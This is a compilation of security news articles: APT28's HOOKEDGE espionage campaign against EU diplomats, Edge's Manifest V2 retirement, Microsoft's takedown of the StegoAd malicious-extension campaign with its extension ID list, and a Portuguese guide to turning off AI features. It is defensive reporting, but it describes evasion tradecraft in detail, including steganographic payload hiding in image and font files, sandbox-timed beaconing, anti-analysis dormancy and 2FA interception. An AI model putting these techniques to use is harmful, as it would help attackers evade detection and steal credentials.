Insikt Group ties HOOKEDGE malware to Russian group BlueDelta (APT28), hitting EU diplomatic targets via webhook abuse and macro-enabled Word lures.

Related Posts:

• Virtualizor Supply-Chain Attack: BGP Hijack Plants Backdoors
• Dark Caracal Deploys New GoCaracal Malware Framework
• Cambodia Malware Campaign Uses PNG Files to Deliver SparkRAT

The post HOOKEDGE Malware: BlueDelta Hits EU Diplomatic Targets appeared first on Daily CyberSecurity.

BlueDelta (APT28) uses webhook.site and Microsoft Edge to hide HOOKEDGE espionage traffic targeting European governments.

Recorded Future’s Insikt Group documented a campaign by BlueDelta, the Russian GRU-linked group that overlaps with the group APT28, running an entire espionage operation against European government targets using webhook.site, a service built for developers to test HTTP requests, as its command-and-control backbone.

The campaign ran from late September 2025 through early April 2026, targeting government and diplomatic organizations in Romania, Spain, and Türkiye.

“The campaigns delivered a lightweight Windows batch-script backdoor, dubbed “HOOKEDGE,” via macro-enabled Microsoft Word documents using diplomatic-themed lures, including material impersonating Spain’s Ministry of the Presidency, Justice and Relations with the Cortes, created shortly after a September 2025 meeting between Spanish and Moldovan officials.” states the report by Insikt Group.

“Insikt Group assesses with moderate confidence that this activity was conducted by BlueDelta (which overlaps with APT28, Fancy Bear, and Forest Blizzard), a Russian state-sponsored threat group attributed to the Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU).”

The attackers used a fairly old-school trick: macro-enabled Word documents. One of them looked like a real meeting agenda from Spain’s Ministry of the Presidency and appeared shortly after an actual meeting between Spanish and Moldovan officials. The timing was interesting because it came just before Moldova’s September 2025 parliamentary elections. The document looked credible enough to make the phishing attempt believable.

The backdoor, called HOOKEDGE, is surprisingly simple. It uses a Windows batch script and relies on two webhooks. One receives commands, while the other sends the stolen data back to the attackers. Every 30 minutes, a scheduled task downloads a command file through Microsoft Edge, runs it and sends the results to another endpoint. The malware uses Edge to make the traffic look like normal web activity, making it harder for security tools to spot.

That reliance on a real browser for both tasking and exfiltration is the cleverest part of the whole design.

“A notable aspect of HOOKEDGE is its use of msedge.exe for both tasking and exfiltration. By generating network traffic through a legitimate web browser rather than a commonly abused LotL binary (LOLBin) or a custom binary, the malware blends its communications with normal enterprise browsing activity.” continues the report.

Recorded Future explains, and that’s really the entire evasion strategy in one sentence: don’t build something exotic, just make your traffic look exactly like an employee checking a website.

BlueDelta didn’t build HOOKEDGE from scratch either. It shares deep code and structural overlap with HEADLACE, a backdoor the same group used years earlier, right down to identical JavaScript variable names and the same base64 encoding scheme for automated downloads.

“HOOKEDGE’s code and structural design have significant overlap with HEADLACE, a backdoor used by BlueDelta in previous campaigns.” states the report.

Recorded Future assesses with moderate confidence that HOOKEDGE is a direct evolutionary successor, maintained by the same operators rather than a fresh tool built by a different team, which fits BlueDelta’s long-documented habit of refining working tradecraft instead of reinventing it.

The operation also included a triage mechanism worth understanding on its own. Once a victim showed signs of being worth deeper attention, active communication with the initial webhook endpoints, BlueDelta deployed a second HOOKEDGE payload configured to check in every five minutes instead of thirty, giving operators much faster interactive control over higher-value targets. That two-tier setup also solved a practical infrastructure problem: webhook.site’s free tier caps out at 100 requests per endpoint, so spreading routine and high-priority tasking across separate endpoints kept any single one from getting exhausted mid-operation.

BlueDelta kept tuning the operation continuously rather than treating it as a finished product. Beaconing intervals stretched from 30 minutes to 61, deliberately timed to slip past sandbox environments that typically only watch a sample’s behavior for an hour. The group added canary tracking pixels named things like mailopened.jpg and docopened.jpg to monitor exactly when a phishing email got opened versus when the document itself got opened versus when macros actually executed, essentially building analytics for their own phishing funnel.

“The malicious document also contains a hidden image referencing a remote webhook URL: hxxp://webhook[.]site/62114596-33f5-47fb-9012-0223529e5a13/docopened[.]jpg. This serves as a document-open “canary,” alerting BlueDelta operators when a victim opens the lure. Later variants used the filename doc.jpg in place of docopened.jpg.” states Insik. “Insikt Group also identified webhooks using the filename mailopened.jpg, indicating that BlueDelta likely used a similar canary mechanism to monitor when recipients opened phishing emails, providing operators with visibility into campaign delivery success before any payload execution.”

That kind of detailed tracking of what victims do would look very familiar to a marketing team. The difference is that here the targets are victims, not customers.

For defenders, the useful indicators are quite clear. Block macros in documents downloaded from the internet, monitor scheduled tasks that launch scripts from user-writable folders, and flag Microsoft Edge running in headless mode or making automated connections to file-sharing and webhook services that the organization does not normally use. You don’t need sophisticated tools to spot these behaviors. Even a well-configured monitoring system should be able to detect them early. The worrying part is that a persistent, state-backed group can still rely on a small set of behaviors that defenders can identify and block.

For defenders, the actionable pieces here are concrete rather than abstract. Block macro execution from documents that arrived over the internet, watch for scheduled tasks spawning script interpreters from user-writable folders, and specifically flag Microsoft Edge running in headless mode or making automated requests to file-hosting and webhook services your organization doesn’t actually use for anything legitimate. None of this requires exotic tooling to catch, which is oddly reassuring: a threat group this persistent and state-backed is still, at its core, relying on the same handful of detectable behaviors that a properly configured monitoring setup would catch on day one.

“BlueDelta is likely to continue conducting initial access campaigns against European government and diplomatic organizations in support of Russian intelligence collection. Given the enduring strategic importance of European governance, NATO-related affairs, and diplomatic engagement with former Soviet republics, the intelligence requirements driving this activity are unlikely to diminish in the near term.” concludes the report.

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, BlueDelta)

Microsoft is beginning the retirement of Manifest V2 (MV2) extensions in Edge this month, with consumer completion targeted for the end of 2026 and managed-enterprise deprecation in early 2027.

Microsoft says that change is justified because 95% of the most-used MV2 extensions in the Edge Add-ons store have already moved to Manifest V3 (MV3). It counted 58 MV2 extensions with “meaningful usage,” only three of which lack a publicly available MV3 alternative.

Starting this month, some Edge users will see warnings in edge://extensions and on Edge Add-ons store pages. Over the following months, MV2 extensions will be disabled by default.

This shift mostly affects privacy tools that modify requests, headers, redirects, or responses. MV2 extensions will need to be redesigned or lose particular features. Extensions relying on persistent background activity must also adapt to MV3’s service worker lifecycle model.

The change affects some well-known privacy and content-blocking extensions. Among them is the classic version of uBlock Origin, one of the most popular ad blockers for Edge, with more than 13 million installs.

The change is intended to improve security and performance. MV3 replaces some long-running background code and broad request-interception behavior with more constrained, declarative mechanisms. But those constraints also remove capabilities that sophisticated privacy, content-blocking, and request-modifying extensions relied on.

Several developers have complained about the challenges of adapting to MV3. One of the main issues is the limit on the number of rules a browser extension can include.

The rules must fit within browser-defined ceilings. Chrome documents a guaranteed minimum of 30,000 static rules, a maximum of 100 declared static rulesets with 50 enabled at once, 5,000 session rules, and limits on regular-expression rules.

This does in no way mean that Microsoft is banning ad blockers. They simply need to find different ways to remain effective.

Building Browser Guard for Manifest V3

At Malwarebytes, we’ve already gone through the process of adapting our free Browser Guard extension to MV3 and came out better than we went in.

So, while Manifest V3 introduced meaningful improvements to browser security, it also created real challenges for security tools like Browser Guard.

Rather than scaling back, the Browser Guard team rebuilt its approach from the ground up, focusing on behavior, patterns, and faster response times. The result is protection that’s different under the hood, but just as committed to keeping you safe online.

You can download Browser Guard for Edge from the Edge Add-ons store.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

The UK Cyber Resilience Pledge gives organizations a 30/60/90-day checklist for NCSC alerts, supplier Cyber Essentials checks and board-level cyber governance.

The post UK Cyber Resilience Pledge Sets 90-Day Test for Security Leaders appeared first on TechRepublic.

Microsoft has removed 119 extensions from the Edge add-on store which were all tied to one adware campaign.

In a paper titled “Inside StegoAd: How We Disrupted a Massive Malicious Extension Campaign,” Microsoft researchers detail how they uncovered and dismantled a sophisticated malware campaign that abused browser extensions to infect users. According to Microsoft, the campaign involved 119 malicious browser extensions which were downloaded by 2.6 million users.

The extensions all promised, and delivered, some kind of basic functionality: ad blockers, VPNs, translators, video downloaders, calculators, coupon extensions and so on. But after a while they turned out to be “sleepers” and secretly started downloading additional malware.

Among the payload was malware involved in ad fraud, but also extensions that ran arbitrary JavaScript pushed from the server, which stole Google credentials and second-factor codes at sign-in, harvested WordPress admin logins, and exfiltrated cookies in bulk for session hijacking.

The name of the campaign “StegoAd” is derived from the words advertising and steganography, which means techniques of hiding secrets in something that doesn’t immediately cause suspicion. In this case, hiding code in images.

And not only did the cybercriminals try to stay under the radar by waiting for some time, and hiding malicious code inside images, they also left some victims alone. Some of the extensions only went rogue in about 10% of installs, which would actually execute the next stage of the malware, while the other ~90% would be left alone (at least for that execution attempt). And, in some cases, they re-used names of well-known legitimate extensions to install an additional level of trust.

Browser extensions are a source of wealth for cybercriminals because it compares to installing a small program that lives inside your browser, which can see and report about everything you do on the internet.

Now I hear some of you thinking: I don’t use Edge. Or I’ve used it just once, to download and install my favorite browser. But although Microsoft discovered and analyzed the campaign, the techniques used in this campaign are applicable to Chromium-based browsers in general.

This campaign was less about exploiting a browser vulnerability and more about tricking users into installing a trusted-looking extension, then using sophisticated concealment techniques to avoid detection long enough to compromise systems.

How to stay safe

Always be careful when downloading extensions, even from the reputable app stores. As we’ve seen many times before, criminals manage to get their apps or extensions listed when they are only one update away from turning into malware. So, make sure that you trust the developer and don’t rely on reviews alone.

Use an up-to-date real-time security solution to detect and remove malicious extensions from your device and block connections to malicious domains and IP addresses. Remove the known malicious extensions from your browser. Below is an alphabetical list of the malicious extensions the researchers found by name.

Please note that there might be more than one extension that has the same name. In case you doubt whether the extension you have installed is among them, check whether the ID matches the one shown in the list. If you prefer looking them up by ID, you can find them organized differently in the Microsoft report (pages 40-43).

Extension Name	Extension ID
#Best# PDF Saver	jebcdimkcimkafekgbgbhookdajcoeib
“Download” Button for YouTube	jbmkcmhocoddcokjkahpcchanlmiffhg
“Save” Button for Pinterest	fhkijdlfjnpimenfpnegkecbbijmoipm
…Page Screenshot Clipper	maiackahflfnegibhinjhpbgeoldeklb
7TV	nmhdjlflloeeahacgomilnhmpfnhlpkn
Adblock	aooacabidfijofopjaeligonlfobjcjb
Adblock	dckihkcdmjmlkndgmmgplpcnkmdpangb
Adblock (µBlock clone)	kmiahfbflcnmlobepelpgkmolhodmiek
Adblock For Edge	kikacehfccglblphddbifmiaeiglfdfi
Adblock Master	dgmpkflgbcbpjgniahjegbpelmofbgnn
Adblock Master	hninibdhkeepfndhcdknlijeapngbgdp
Adblock Master for Youtube	jnakfjmfmjmfpmdnghedafdphdanbjkh
Adblock for Youtube	afakckepbbffmnoghgpfnnebijeahjcb
Adblock for Youtube	gclhifbbggfamoojmienffegbmmfnfll
Adblock for Youtube	nipggfgilmoiofmnkbeabghbcaohmjih
Adblocker FX	fkkoeecbjckjpnmenebojblcljjgbpoj
Adblocker Plus for YouTube	imiheoejheaebigkjaeilfmekiikjdbd
AdFly Skipper for Edge	nhfohdhgahjpmniccbgflilignkcnmai
AdSkip-爱奇艺	mimmainmmkddahakleojidjaimaofndp
Ads Block Ultimate	fbobegkkdmmcnmoplkgdmfhdlkjfelnb
AI Search GPT for Edge	beemogkfhphmjghmkghdaggidgohohee
AI Search with ChatGPT	jgngkchljnldpnjimaboboomjmpfpoie
AI Weather Forecast	iaehhmhmdidpkfmddiodkloefndpggcj
AliExpress Helper	elecjoakfjcmjoppfconlfgfemjcaoea
Auto Skip Ads on YouTube	dcelinkcepeidliddjhapgjokheoldjb
Axure RP Viewer	aekfeebhjlmielppjlhebapokdkelion
Batch Image Downloader	hnleilhpfbdofpdnnpjggafhncienakg
Batch Image Downloader	ibfjnghdeenopfkpbmnkablkfejnlnif
Best Speedtest Tool	eklcgjodcnhhcghpbhehhbnmjncbopcg
Best YouTube Adblocker	cjjcndlebdepeddfopnhpifmbfecocfh
Color Enhancer	bmmchpeggdipgcobjbkcjiifgjdaodng
Color by Number	aljmdjbcbkanlhnmcdjbefaomgbekhno
ColorZilla	mdjeohcdegpfoppocljbccpognjlkjke
Convert Everything	ielbkcjohpgmjhoiadncabphkglejgih
Cool Cursor	ajbkmeegjnmaggkhmibgckapjkohajim
CrxMouse – Super Drag	pohfogacehhgefhgmcmnojflfakllkal
CrxMouse Gestures	imcbcfmohachfahkbgijokokjpfmoogb
Custom New Tab for Edge	dbhgpbaaedlknnnochmkjfacnfnakkfa
Downloader for Instagram	higdalghhdbfffdjdiaenminajlmmldb
Download All Images	hnggnhinapdcjocbciajaffnofecfale
Edge Web Highlighter	ijgobfhjjipoljjcejmafocdnfnloflm
Efficient Adblocker for Youtube	oejbpnadmkdiofacgknaaagbmmonhgpb
Enhance YouTube	jecnjeedhbokmpckobjbgieglfjcomek
Evernote in Pinned Tab	elljfaejhdaplocgcejlhfemgimbmcdp
Focus To-Do: Pomodoro Timer & To Do List	nlapjaaepfeadiecaipnacimidfjginj
Free Online Video Downloader	bpdanoaacmebjgfjdmekfcfgmnaoekim
G.B.B.D Translator	fdjpommjpahieenehallhicdhponhacm
GIPHY for Edge	gggjlnkbmgmjboipaegjmjmehmcekamo
Gmail Checker	nhjdhmbdahdidccpobobccagmmijndmp
Google Hangouts	adnahjjfjjemdiefpobclponnhkijnmo
Google search link fix	mjofmhcbolkekhebpccldlbdamnfjefc
Google Translate in Right Click	fcoongackakfdmiincikmjgkedcgjkdp
Hiddence VPN	akfklmfpgmkkhiiolnfbhalkeccjnmeb
HLS Stream Downloader	fgbfcndckldbjifhjgijpjmnpekkelkb
IG Downloader for Edge	ncbpkjcnklnbnkjpcamhhoedlkljeolo
Image Downloader – Batch Download	ngeoikidkjbegoifbnmfimacmbilfcgi
Image Downloader Pro	gnbnbmnldhfoplgjojhepikgjanaplle
Imageye	ikfdcmchafnmklcndfegdlefcfoaggni
ImTranslator	bbofakpgfmlfjpjcahodgpbddocpibge
iQiyi Adblock	hlkenllnegiplhjhpobgangolfkjcgab
iVideo Downloader	amfboegfahhedgehddflgcfbdaapllfj
iYouTubeToMP4	bemebcpaekkmffjjbdakpipemmmlgchb
Language Reactor	hffpfdhdjpbnaddaidajedimmpckekkl
Live Start Page	egbkgelnkodaldbpkgjmhcekjakkcpnk
Magic Actions for YouTube	pjhoiegecdlpaohfffpajaldpbilngog
Marinara: Pomodoro® Assistant	mebgpfbaibhepnkljpimlijicgkbangk
Mouse Tooltip Translator	ibjjllhemkfgfbkgohldepcdgiigpdkb
Natural Reader Text to Speech	eopjamlpanhfkcbnoeofcnmdfdiogfgl
New Tab – Customized Dashboard	edohfgmjmdnibeihfcajfclmhapjkooa
Night Mode	engcfdjknekakgpjkhdobneidcpfbfgm
Night Mode	pgcamkdibinodcpkhenjmofbfobpebpn
One Key Translate	jihipmfmicjjpbpmoceapfjmigmemfam
Picture-in-Picture Playing	kemjiblbeciejjlgobbkffbpnceieefh
Piggy – Automatic Coupons	gmaoimcaoimgmomockloieoifjocpkmf
Pinterest Save Button	kakgeonhimhojdncehlopejkfaapboeo
Return YouTube Dislike	cgoigjefilgfmcjnnendlpdaonlfoncf
RSS Feed	gmciomcaholgmklbfangdjkneihfkddd
Save as PDF	mlgefgipndlgdfjfgnjfheigkagjieea
Save Pinterest on Right Click	glgbgppjjkldoifgpbhbpbkbcdjpgpfj
Screen Shader | Dark Mode	olcibgopfmndlnghnmogcgdhdffdbicg
Similar Sites – Discover Related Websites	fifeankddgioinbcchlokclbcgjlopjj
Similar Sites for Edge	fhhinoefbjlmhakpjohnpabdobgmphli
Simple mass downloader	dbhdfkiddhdhmcikjdgblfjbenjfjlfh
Social Book Post Manager	inelenlaldjofeekhjinpjkacjokagke
SpeakIt!	badiigfpcpfckbhmpmkhokagppaadkim
Speed Control for Youtube	eindenipbnkpeofhpjjimphfchmjoohe
Spell & Grammar Check Tool	fljmegmgjebjdionedkjfgffikhnmcgg
ssYoutube – Video Downloader	okmfpehbgckbneedidbladdaiekikcdo
Summary with ChatGPT	dokiamnhbobapjfhhhcjlfplabeofamp
Super Dark Mode for Edge	lkmeakjjodlkhbikbpdoeicfodaklkna
TikMate	jhahljcmjemimhchigiaigklabnpodgo
TikTok APP for Edge	celdediiemogjpfcjocdbildilkccepl
TikTok Downloader Without Watermark	flcgalphjnojjefjnnimnejbkkefbjgo
To QRcode	cgjomicbgmoadggnjbdiafpjlodmafkp
Transkriptor	lplondnihmdhjokafldkcfnjclkhigpm
Translate Officer	jjdfciihihcpgfgmoonfpgglbgclpfai
Translate Selected Text with Google	obocpangfamkffjllmcfnieeoacoheda
Translate Selected Text with Right Click	fmchencccolmmgjmaahfhpglemdcjfll
Trusted VPN for Edge – Free VeePN	klmfgbnlbfgpdenpdddpdfigmnkmchil
Turbo Download Manager	bpjnmlookdfciblphehedlcbpmignahe
Twitch Custom Emotes – FrankerFaceZ	johcbgkljdbebbloakcollpmigpigkpd
U-Tube Downloader	nphphgkcccnlmdiihcedabnhfacfmojk
Undo Closed Tabs	amemnenomfejhfmfiheekmbcigfkolel
Unblock Youku	ajnjfpjimckjhfcpkaldennpdjglmeml
UseChatGPT.AI	hcmfdagipflbaagmcnhnhabkmjkopcke
Video & MP3 Downloader	oiolhdeinoaidggfcpebifcbedppbgog
Video Downloader Premium	jgphopeamnghlcekffldkpnbhmiadnbc
VPN	pdnjhppcgkdbjolbeplcabkcfmpnbjmh
Weather Forecast	hecicojipmfmablnbhknedademofbbpk
Webpage Screenshot for Edge	eblienbdkbgiigaebhmljbedkafiobkj
YouTube Transcript to Text	nfincgjfplibcdcncfkeehldffppnlnp
YouTube Adblock Plus	flmkfmdmcaepdaoedepihfkhmgopiago
Youtube Adblock Online	hmjdegfgppjddmmojloflajkelegnjdp
Youtube Download	dhnibdhcanplpdkcljgmfhbipehkgdkk
Youtube To MP4 Downloader	cfilkckedhoniijcpjfgihelgepflpni
ZLibrary Searcher	ffedaeoanbhgmanhhecfjodpopcjnhkc
一键翻译	nepdfkaidpemglngbgpnmmhnleiekpin
鼠标手势 (Mouse Gestures)	cbopgngpbfeoecnbebghbbhmdadmllce

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Microsoft shut down the StegoAd campaign, which used 119 malicious Edge extensions, hit 2.6M installs, and ran undetected for two years.

Microsoft just shut down one of the more technically clever malicious extension campaigns it’s ever documented. The operation, named StegoAd, ran 119 extensions on the Edge Add-ons store, racked up roughly 2.6 million installs, and stayed alive for at least two years. The threat actor behind it has been active since 2021.

“Over the past several years, the Microsoft Edge Extensions Security team has tracked a persistent threat actor operating one of the most technically sophisticated malicious browser extension campaigns we have encountered.” reads the report published by Microsoft. “We call it StegoAd, a name combining steganography and ad injection, the two pillars of the campaign’s methodology.”

The extensions looked completely normal. Ad blockers, VPNs, translators, video downloaders, they all worked. They earned positive reviews. The malicious payload didn’t activate until days after installation, which is exactly how the campaign survived multiple detection sweeps.

The name comes from steganography, the practice of hiding data inside ordinary files. This actor hid executable JavaScript inside PNG icon files, then WebP images, then WOFF2 font files. Static scanners saw valid images. What actually ran was a multi-stage attack suite.

“This encoding technique stores JavaScript payload characters as high Unicode codepoints, values in the CJK Unified Ideograph and Private Use Area ranges that overlap with character ranges defined in WOFF2 font files.” continues the report. “To a scanner, it looks like Asian text or font metadata. To the decoder, it’s an executable JavaScript”

The earliest technique appended JavaScript code after the IEND marker at the end of a PNG file. The image rendered perfectly in any viewer. The extension’s own background script read the icon as raw text, found a custom marker string, pulled out everything after it, and executed it. No suspicious domain calls. No obvious obfuscation in the JavaScript source. Standard scanners found nothing.

When PNG detection improved, the actor moved to WebP containers. Same idea, different format, less scrutiny from security tools at the time. After that came WOFF2 font files, where payload characters were stored as high Unicode codepoints in glyph ranges that look like Asian text or font metadata to any scanner that doesn’t decode them.

The most recent variant, spotted in March 2026, disguised a PNG file as a configuration file called setting.conf. The extension fetched it, searched for the marker_vpn_settings, and decoded a Base64 payload split into segments by a ///// delimiter. Calling it a settings file was a nice touch.

The extension stayed dormant for three to five and a half days after installation. Some variants only activated in 10% of sessions on top of that. If you opened DevTools to inspect the extension, a flag called dipFlgDev was set and the dormancy period extended indefinitely. The payload would never fire while an analyst was watching.

The command-and-control server added another layer. It only served real payloads to requests that passed a fingerprint check built from the extension’s own runtime ID, plus the correct User-Agent. Researchers probing the C2 directly got an empty decoy response. The full payloads Microsoft analyzed were intercepted from controlled infected instances, not retrieved by querying the server.

The polymorphic framework, called orderArray, ran across 66 extensions with over 15 naming variants. Every instance had the same four-component structure: an encoded payload object, a seed generator using the extension’s runtime ID, a regex decoder, and a double-Base64 extractor. Variable and function names changed completely across each variant, which defeated fixed-pattern detection rules.

Ad fraud was the visible layer. The extensions injected ads, replaced existing Google AdSense and Amazon ad slots with the actor’s own (capped at six replacements per page to avoid suspicion), and hijacked affiliate commissions on Amazon across more than 20 country-specific stores, plus eBay, AliExpress, Taobao, and JD.com.

Underneath that was a full remote code execution backdoor. The C2 server could push arbitrary JavaScript to any victim’s browser and have it execute within 10 milliseconds. Every extension in the campaign received the same payload modules, meaning all 2.6 million users were exposed to the complete attack surface, not just the ad fraud piece.

The credential theft module targeted Google sign-in pages. It captured the password, waited for the 2FA prompt, captured that code too, and sent both to mitarchive.info via double-Base64 encoding. A separate module hit WordPress admin login pages and attached a SimilarWeb link to each stolen credential so the operator could sort stolen sites by traffic value before deciding what to do with them.

Seven Google Analytics tracking IDs served as the campaign’s telemetry infrastructure. The operator tracked active installs, geographic distribution, merchant click counts, per-ad-replacement performance, and extension version numbers, all through Google’s own dashboard. Hosting telemetry on Google infrastructure meant those beacons blended in completely with normal web traffic.

Two GA4 beacons were served through GitHub Pages. The operator was running what amounts to a professional analytics setup for a criminal campaign, on free hosting, using Google’s tools.

The campaign migrated from Manifest V2 to Manifest V3 as browser platforms tightened restrictions. Where MV2 allowed real-time JavaScript interception of HTTP responses, MV3 requires static declarative rules. The actor solved this by fetching those rules dynamically from the C2 server and installing them into the browser’s declarativeNetRequest API every 15 days. The result was the same header-stripping capability through a more constrained interface.

Each time a wave of extensions was removed, the actor responded within weeks. The C2 domains shifted, encryption schemes changed, and new steganographic formats appeared. Microsoft’s analysis describes a clear detect-and-adapt pattern across eight major milestones from March 2024 through April 2026.

Microsoft has not named the threat actor. Koi Security has linked the credential exfiltration domain mitarchive.info to DarkSpectre, a Chinese operation previously connected to the ShadyPanda and GhostPoster campaigns. StegoAd shares the icon steganography method with GhostPoster and even reuses some extension names, including “Ads Block Ultimate.”

The full list of 119 extension IDs is in Microsoft’s technical report. Open edge://extensions and check your installed add-ons against it. If anything matches, treat the browser as compromised: change your Google password, review recent sign-in activity at myaccount.google.com/security, and check WordPress and Amazon accounts for anything you didn’t do.

“Hardware security keys hold up against this kind of 2FA interception in a way that SMS codes and authenticator apps do not. If you’re still using SMS for 2FA on accounts that matter, this campaign is a reasonable argument for upgrading.” concludes the report. “The StegoAd campaign demonstrates clear technical evolution over 2+ years, with the actor consistently adapting to detection pressure” concludes the report. “The progression also reveals strategic priorities: the actor invests heavily in payload concealment (steganography variants evolved four times) while keeping the monetization logic largely stable. This asymmetry suggests the actor views detection of evasion, not feature development as the primary operational constraint.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, StegoAd)

The paradox of edge security describes how technologies designed to strengthen network defenses can also create new vulnerabilities. Edge devices improve performance and support localized threat detection by processing data closer to its source, yet modern enterprise environments often operate thousands of distributed endpoints. This rapid expansion of edge infrastructure increases the number of systems..

The post Addressing the Edge Security Paradox appeared first on Security Boulevard.

How modern age-verification laws, like the California Digital Age Assurance Act, dismantle the principle of data minimization by mandating the collection of sensitive personal data, effectively turning "don't know" into "must know" and knowledge into liability.

The post When Privacy Laws Force You to Know Too Much: The Perverse Incentives of Age Verification Regimes appeared first on Security Boulevard.

Por mais que você não saia procurando serviços de IA, eles acabam encontrando você de qualquer maneira. Todas as grandes empresas de tecnologia parecem sentir uma espécie de obrigação moral não apenas de desenvolver um assistente de IA, chatbot integrado ou agente autônomo, mas também de incorporá-lo aos seus produtos já consolidados e ativá-lo à força para dezenas de milhões de usuários. Aqui estão apenas alguns exemplos dos últimos seis meses:

• A Microsoft está transformando à força PCs compatíveis com Windows em “AI PCs”, instalando e ativando automaticamente o Copilot para qualquer pessoa que utilize aplicativos desktop do Microsoft 365.
• O Google ativou o Gemini para todos os usuários do Chrome nos Estados Unidos, elevou ao máximo as funcionalidades do navegador, ampliou agressivamente o alcance dos Resumos de IA nos resultados de busca e incorporou um conjunto completo de recursos de IA nos seus serviços online (Gmail, Google Docs e outros).
• A Apple integrou sua própria Apple Intelligence (convenientemente compartilhando a sigla AI) às versões mais recentes de seus sistemas operacionais em todos os tipos de dispositivos e na maioria de seus aplicativos nativos.
• A Meta adicionou traduções por IA e um chat Meta AI ao WhatsApp, ao mesmo tempo em que proibiu chatbots de terceiros no aplicativo de mensagens a partir de 15 de janeiro de 2026.

Por outro lado, entusiastas de tecnologia correram para criar seus próprios “Jarvis pessoais”, alugando instâncias de VPS ou acumulando Mac minis para executar o agente de IA OpenClaw. Infelizmente, os problemas de segurança do OpenClaw com as configurações padrão se mostraram tão graves que já foram considerados a maior ameaça de cibersegurança de 2026.

Além do incômodo de ter algo imposto à força, essa epidemia de IA traz riscos e dores de cabeça bem reais do ponto de vista prático. Assistentes de IA varrem e coletam todos os dados a que conseguem ter acesso, interpretando o contexto dos sites que você visita, analisando documentos salvos, lendo suas conversas e assim por diante. Isso dá às empresas de IA uma visão inédita e extremamente íntima da vida de cada usuário.

Um vazamento desses dados durante um ataque cibernético, seja a partir dos servidores do provedor de IA ou do cache armazenado na sua própria máquina, poderia ser catastrófico. Esses assistentes podem ver e armazenar em cache tudo o que você vê, inclusive dados normalmente protegidos por múltiplas camadas de segurança: informações bancárias, diagnósticos médicos, mensagens privadas e outras informações sensíveis. Analisamos em profundidade como isso pode acontecer quando examinamos os problemas do sistema Copilot+ Recall baseado em IA que a Microsoft também planejava impor a todos os usuários. Além disso, a IA pode consumir muitos recursos do sistema, utilizando RAM, ciclos de GPU e espaço de armazenamento, o que frequentemente resulta em uma queda perceptível no desempenho.

Para quem prefere ficar de fora dessa onda de IA e evitar esses assistentes baseados em redes neurais lançados às pressas e ainda imaturos, reunimos um guia rápido mostrando como desativar a IA em aplicativos e serviços populares.

Como desativar a IA no Google Docs, Gmail e Google Workspace

Os recursos de assistente de IA do Google no Gmail e no Google Docs são agrupados sob o termo “recursos inteligentes”. Além do modelo de linguagem de grande escala, esse conjunto inclui várias conveniências de menor importância, como adicionar automaticamente reuniões ao seu calendário quando você recebe um convite no Gmail. Infelizmente, trata-se de um pacote tudo ou nada: para se livrar da IA, é preciso desativar todos os “recursos inteligentes”.

Para fazer isso, abra o Gmail, clique no ícone Configurações (engrenagem) e selecione Ver todas as configurações. Na aba Geral, role até Recursos inteligentes do Google Workspace. Clique em Gerenciar as configurações de recursos inteligentes do Workspace e desative duas opções: Recursos inteligentes no Google Workspace e Recursos inteligentes em outros produtos do Google. Também recomendamos desmarcar a caixa ao lado de Ativar os recursos inteligentes no Gmail, Chat e Meet na mesma aba de configurações gerais. Depois disso, será necessário reiniciar os aplicativos do Google (o que normalmente ocorre de forma automática).

Como desativar os Resumos de IA na Pesquisa Google

É possível eliminar os Resumos de IA nos resultados da Pesquisa Google tanto em computadores quanto em smartphones (incluindo iPhones). A solução é a mesma em todos os dispositivos. A maneira mais simples de ignorar o resumo de IA caso a caso é adicionar -ia ao final da sua busca. Exemplo: como fazer uma pizza -ia. Infelizmente, esse método às vezes apresenta falhas, fazendo o Google afirmar abruptamente que não encontrou nenhum resultado para a sua consulta.

Se isso acontecer, você pode obter o mesmo resultado mudando o modo da página de resultados para Web. Nos resultados da pesquisa, localize os filtros logo abaixo da barra de busca e selecione Web. Caso não apareça imediatamente, procure essa opção dentro do botão Mais.

Uma solução mais radical é migrar para outro mecanismo de busca. Por exemplo, o DuckDuckGo não apenas rastreia menos os usuários e exibe poucos anúncios, como também oferece uma busca dedicada sem IA. Basta adicionar a página de pesquisa aos favoritos em noai.duckduckgo.com.

Como desativar recursos de IA no Chrome

Atualmente, o Chrome incorpora dois tipos de recursos de IA. O primeiro se comunica com os servidores do Google e é responsável por funções como o assistente inteligente, um agente autônomo de navegação e a busca inteligente. O segundo executa tarefas localmente, mais voltadas para utilidades, como identificar páginas de phishing ou agrupar abas do navegador. O primeiro grupo de configurações aparece com o rótulo AI mode, enquanto o segundo inclui o termo Gemini Nano.

Para desativar esses recursos, digite chrome://flags na barra de endereços do navegador e pressione Enter. Será exibida uma lista de flags do sistema, junto com uma barra de busca. Digite “AI” na barra de busca. Isso filtrará a longa lista para cerca de uma dúzia de recursos relacionados à IA (além de algumas outras configurações nas quais essas letras aparecem por coincidência dentro de palavras maiores). O segundo termo que você deve pesquisar nessa janela é “Gemini“.

Depois de revisar as opções, você pode desativar os recursos de IA indesejados ou simplesmente desativar todos. O mínimo recomendado inclui:

• AI Mode Omnibox entrypoint
• AI Entrypoint Disabled on User Input
• Omnibox Allow AI Mode Matches
• Prompt API for Gemini Nano
• Prompt API for Gemini Nano with Multimodal Input

Defina todas essas opções como Disabled.

Como desativar recursos de IA no Firefox

Embora o Firefox não tenha chatbots integrados nem tenha (até agora) tentado impor recursos baseados em agentes aos usuários, o navegador inclui agrupamento inteligente de abas, uma barra lateral para chatbots e algumas outras funcionalidades. Em geral, a IA no Firefox é bem menos intrusiva do que no Chrome ou no Edge. Ainda assim, se você quiser desativá-la completamente, há duas maneiras de fazer isso.

O primeiro método está disponível nas versões mais recentes do Firefox. A partir da versão 148, uma seção dedicada chamada Controles de IA passou a aparecer nas configurações do navegador, embora as opções de controle ainda sejam um pouco limitadas. Você pode usar um único botão de alternância para Bloquear melhorias de IA, desativando completamente os recursos de IA. Você também pode especificar se deseja usar IA no próprio dispositivo (On-device AI), baixando pequenos modelos locais (atualmente apenas para traduções), e configurar provedores de chatbot de IA na barra lateral, escolhendo entre Anthropic Claude, ChatGPT, Copilot, Google Gemini e Le Chat Mistral.

